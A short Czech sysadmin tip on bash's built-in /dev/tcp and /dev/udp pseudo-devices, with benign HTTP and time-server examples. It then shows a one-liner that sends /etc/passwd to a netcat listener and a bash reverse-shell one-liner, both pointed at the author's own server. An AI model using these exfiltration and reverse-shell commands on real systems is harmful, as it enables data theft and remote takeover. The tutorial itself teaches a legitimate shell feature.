Linux mini-howto? Krátce o nástrojích ze života sysadmina.
Bash a sokety, /dev/tcp
Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.
Syntax /dev/tcp s /dev/udp
- /dev/tcp/<host>/<port>
- /dev/udp/<host>/<port>
Malá ukázka práce s /dev/tcp.
havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80 havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5 havel@havel-machine:~$ cat <&5 | head -n 10 HTTP/1.1 200 OK Server: nginx/1.2.1 Date: Tue, 01 Sep 2015 14:41:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.4.41-0+deb7u1 Vary: Accept-Encoding, Cookie Cache-Control: max-age=3, must-revalidate WP-Super-Cache: Served supercache file from PHP
havel@havel-machine:~$ cat </dev/tcp/time.nist.gov/13 57266 15-09-01 14:37:16 50 0 0 816.9 UTC(NIST) *
Něco více divokého s /dev/tcp
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888 # Pošlete si co potřebujete k sobě havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888
# Reverse shell # Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888 havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1 # havel@havel-machine:~$ pwd pwd /home/havel
Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).
Užívejte moudře a opatrně, díky za pozornost.
František Havel, MOJEservery.cz